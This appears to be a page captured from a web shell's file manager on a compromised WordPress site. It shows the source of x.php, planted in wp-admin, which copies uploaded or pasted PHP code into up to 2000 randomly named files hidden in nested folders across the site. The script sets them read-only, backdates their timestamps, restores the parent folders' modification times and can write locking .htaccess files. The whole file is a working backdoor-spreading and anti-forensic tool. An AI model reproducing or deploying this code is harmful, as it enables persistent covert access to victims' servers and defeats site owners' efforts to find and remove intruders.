D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
mybf1
/
public_html
/
mentol.bf1.my
/
wp-admin
/
Filename :
x.php
back
Copy
<?php ini_set('display_errors', 1); error_reporting(E_ALL); // --- 可选配置 --- $folders = array('api','assets','cache','config','controller','core','css','data','db','dist','docs', 'engine','files','functions','helpers','html','includes','js','layouts','lib','locales','logs', 'media','modules','pages','public','resources','routes','runtime','scripts','server','services', 'src','static','storage','styles','system','templates','themes','uploads','utils','vendor', 'views','widgets','xml','language','bootstrap','php','lang','test','admin','frontend','backend', 'client','image','res','json','migrations','components','output','v1','v2','configurations', 'ajax','partials','mail','model','database','extensions','plugins','forms','graphql','errors', 'cron','settings','debug','mobile','desktop','web','fonts','cdn','cdn-assets','sdk','sso', 'auth','oauth','search','editor','parser','robots','schema','manifest','seo'); $fileNames = array('index','main','init','config','settings','router','connect','auth','login','logout','user','admin','dashboard','start','bootstrap','controller','view','model','cron','job','worker','handler','api','data','service','client','server','page','load','app','module','database','functions','helper','editor','upload','ajax','mail','form','search','session','routes','web','backend','frontend','script','engine','core','test','sample','home','profile','theme','seo','setup','install','widget','utils','token','access','meta','lang','i18n','build','result','stats','panel','request','response','middleware','storage','command','batch','common','logger','event','callback','debug','options','reset','notify','backup','parser','doc','schema','gateway','view2','upload2','scan','download','convert'); $baseDir = __DIR__; $log = array(); function getTopLevelDirectories($baseDir) { $dirs = array(); foreach (scandir($baseDir) as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $baseDir . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { $dirs[] = $fullPath; } } return $dirs; } function tryMkdirWithFix($dir) { return is_dir($dir) || @mkdir($dir, 0755, true); } function generateRandomPaths($count, $topDirs, $fileNames, $folders, $maxFilenameLength, $minDepth, $maxDepth) { $result = array(); while (count($result) < $count) { $topDir = $topDirs[array_rand($topDirs)]; $relativeTop = basename($topDir); $depth = rand($minDepth, $maxDepth); $subDirs = array(); for ($i = 0; $i < $depth; $i++) { $subDirs[] = $folders[array_rand($folders)]; } $baseFile = $fileNames[array_rand($fileNames)]; $shortName = substr($baseFile, 0, $maxFilenameLength); $filename = $shortName . '.php'; $relativePath = $relativeTop . '/' . implode('/', $subDirs) . '/' . $filename; $fullPath = $topDir . '/' . implode('/', $subDirs) . '/' . $filename; if (!isset($result[$fullPath])) { $paths = array(); $accumulate = $topDir; foreach ($subDirs as $sd) { $accumulate .= '/' . $sd; $paths[] = $accumulate; } $result[$fullPath] = array( 'relative' => $relativePath, 'full' => $fullPath, 'dirs' => $paths ); } } return $result; } function tryWriteHtaccess($dir, $content) { $htPath = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.htaccess'; $writeSuccess = @file_put_contents($htPath, $content) !== false; if ($writeSuccess) { @touch($htPath); @chmod($htPath, 0555); return true; } return false; } // 表单提交处理 if ($_SERVER['REQUEST_METHOD'] === 'POST') { $domain = trim(isset($_POST['domain']) ? $_POST['domain'] : ''); $count = (int)(isset($_POST['count']) ? $_POST['count'] : 0); $pastedCode = trim(isset($_POST['pasted_code']) ? $_POST['pasted_code'] : ''); $uploadedFile = isset($_FILES['file']['tmp_name']) ? $_FILES['file']['tmp_name'] : ''; $customTimeStr = trim(isset($_POST['custom_time']) ? $_POST['custom_time'] : ''); $maxFilenameLength = (int)(isset($_POST['filename_length']) ? $_POST['filename_length'] : 12); $minDepth = (int)(isset($_POST['min_depth']) ? $_POST['min_depth'] : 1); $maxDepth = (int)(isset($_POST['max_depth']) ? $_POST['max_depth'] : 3); $genHtaccess = (isset($_POST['generate_htaccess']) && $_POST['generate_htaccess'] === '1') ? true : false; $htaccessContent = trim(isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : ''); $maxFilenameLength = max(3, min($maxFilenameLength, 50)); $minDepth = max(1, min($minDepth, 10)); $maxDepth = max($minDepth, min($maxDepth, 10)); if (!filter_var($domain, FILTER_VALIDATE_URL)) { $log[] = "❌ Invalid domain URL."; } elseif ($count <= 0 || $count > 2000) { $log[] = "❌ Count must be between 1 and 2000."; } elseif (empty($pastedCode) && (!isset($_FILES['file']) || !is_uploaded_file($uploadedFile))) { $log[] = "❌ Please upload a PHP file or paste PHP code."; } else { $customTimestamp = null; if ($customTimeStr !== '') { $customTimestamp = strtotime($customTimeStr); if ($customTimestamp === false) { $log[] = "❌ Invalid date format. Use Y-m-d H:i:s."; $customTimestamp = null; } } if (!empty($pastedCode)) { $uploadedFile = tempnam(sys_get_temp_dir(), 'phpcode_'); file_put_contents($uploadedFile, $pastedCode); } $topDirs = getTopLevelDirectories($baseDir); if (empty($topDirs)) { $log[] = "❌ No top-level directories found in current directory."; } else { $paths = generateRandomPaths($count, $topDirs, $fileNames, $folders, $maxFilenameLength, $minDepth, $maxDepth); $parentDirsOriginalTime = array(); foreach ($paths as $item) { foreach ($item['dirs'] as $dir) { $parentDir = dirname($dir); if (!isset($parentDirsOriginalTime[$parentDir]) && is_dir($parentDir)) { $parentDirsOriginalTime[$parentDir] = filemtime($parentDir); } } } $newDirs = array(); $newFiles = array(); foreach ($paths as $item) { $fullPath = $item['full']; $dirs = $item['dirs']; foreach ($dirs as $d) { if (!is_dir($d)) { if (tryMkdirWithFix($d)) { $newDirs[] = $d; } else { $log[] = "❌ Failed to create directory: $d"; continue 2; } } } if (!file_exists($fullPath)) { if (copy($uploadedFile, $fullPath)) { $newFiles[] = $fullPath; $logEntry = rtrim($domain, '/') . '/' . $item['relative']; if ($genHtaccess) { $fileDir = dirname($fullPath); $htSuccess = tryWriteHtaccess($fileDir, $htaccessContent); if (!$htSuccess) { $logEntry .= " ⚠️ .htaccess 生成失败"; } } $log[] = $logEntry; } else { $log[] = "❌ Failed to write file: $fullPath"; } } else { $log[] = "ℹ️ 文件已存在,不覆盖: " . $item['relative']; } } $perm = 0555; $timestamp = $customTimestamp !== null ? $customTimestamp : time(); foreach ($newDirs as $d) { @touch($d, $timestamp); @chmod($d, $perm); } foreach ($newFiles as $f) { @touch($f, $timestamp); @chmod($f, $perm); } foreach ($parentDirsOriginalTime as $dir => $mtime) { @touch($dir, $mtime); } } if (!empty($pastedCode) && file_exists($uploadedFile)) { unlink($uploadedFile); } } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8" /> <title>生成随机 PHP 文件</title> <style> body {font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;background: #f7f9fc;margin: 2rem auto;max-width: 900px;padding: 1rem 2rem;color: #333;} h2 {text-align: center;color: #004085;} form {background: #fff;padding: 20px 30px;border-radius: 8px;box-shadow: 0 2px 8px rgb(0 0 0 / 0.1);} label {display: flex;flex-wrap: wrap;margin-bottom: 15px;font-weight: 600;color: #222;} label > input[type="text"],label > input[type="number"],label > input[type="file"],label > textarea { flex: 1 1 300px;padding: 8px 10px;margin-left: 10px;border: 1px solid #ccc;border-radius: 4px;font-size: 1rem;font-family: monospace, monospace;resize: vertical;} label > textarea {min-height: 100px;max-height: 180px;} label.checkbox-label {flex-wrap: nowrap;align-items: center;font-weight: normal;color: #555;} label.checkbox-label input[type="checkbox"] {margin-right: 8px;width: auto;} button[type="submit"] {background-color: #007bff;color: white;font-size: 1.1rem;font-weight: 600;padding: 12px 24px;border: none;border-radius: 5px;cursor: pointer;display: block;margin: 1.5rem auto 0;width: 180px;transition: background-color 0.25s ease;} button[type="submit"]:hover {background-color: #0056b3;} ul.log-list {background: #fff;margin-top: 2rem;padding: 1rem 1.5rem;border-radius: 8px;box-shadow: 0 2px 8px rgb(0 0 0 / 0.05);max-height: 300px;overflow-y: auto;font-family: monospace, monospace;font-size: 0.9rem;line-height: 1.4;color: #444;} ul.log-list li {margin-bottom: 8px;} </style> </head> <body> <h2>生成随机 PHP 文件</h2> <form method="post" enctype="multipart/form-data" autocomplete="off"> <label> 你的域名 (例如 https://example.com): <input type="text" name="domain" required value="<?php echo htmlspecialchars(isset($_POST['domain'])?$_POST['domain']:'',ENT_QUOTES); ?>" placeholder="https://example.com"> </label> <label> 生成文件数量 (1-2000): <input type="number" name="count" min="1" max="2000" required value="<?php echo htmlspecialchars(isset($_POST['count'])?$_POST['count']:'10',ENT_QUOTES); ?>"> </label> <label> 上传 PHP 文件 (或留空使用下面粘贴代码): <input type="file" name="file" accept=".php"> </label> <label> 或粘贴 PHP 代码(优先使用上传文件): <textarea name="pasted_code" rows="6" cols="60" placeholder="请输入PHP代码"><?php echo htmlspecialchars(isset($_POST['pasted_code'])?$_POST['pasted_code']:'',ENT_QUOTES); ?></textarea> </label> <label> 文件名最大长度 (3-50): <input type="number" name="filename_length" min="3" max="50" value="<?php echo htmlspecialchars(isset($_POST['filename_length'])?$_POST['filename_length']:12,ENT_QUOTES); ?>"> </label> <label> 生成文件夹最小深度 (1-10): <input type="number" name="min_depth" min="1" max="10" value="<?php echo htmlspecialchars(isset($_POST['min_depth'])?$_POST['min_depth']:1,ENT_QUOTES); ?>"> </label> <label> 生成文件夹最大深度 (1-10): <input type="number" name="max_depth" min="1" max="10" value="<?php echo htmlspecialchars(isset($_POST['max_depth'])?$_POST['max_depth']:3,ENT_QUOTES); ?>"> </label> <label> 自定义时间戳 (格式: Y-m-d H:i:s,可留空): <input type="text" name="custom_time" value="<?php echo htmlspecialchars(isset($_POST['custom_time'])?$_POST['custom_time']:'',ENT_QUOTES); ?>" placeholder="2025-09-17 12:34:56"> </label> <label class="checkbox-label"> <input type="checkbox" name="generate_htaccess" value="1" <?php echo isset($_POST['generate_htaccess'])?'checked':''; ?>> 生成 .htaccess 文件 </label> <label> .htaccess 文件内容(生成时使用): <textarea name="htaccess_content" rows="6" cols="60"><?php echo htmlspecialchars(isset($_POST['htaccess_content'])?$_POST['htaccess_content']:"Options -Indexes\nRewriteEngine On\nRewriteRule ^.*$ - [F,L]",ENT_QUOTES); ?></textarea> </label> <button type="submit">开始生成</button> </form> <?php if (!empty($log)): ?> <h3>生成结果日志</h3> <ul class="log-list"> <?php foreach ($log as $line): ?> <li><?php echo htmlspecialchars($line,ENT_QUOTES); ?></li> <?php endforeach; ?> </ul> <?php endif; ?> </body> </html>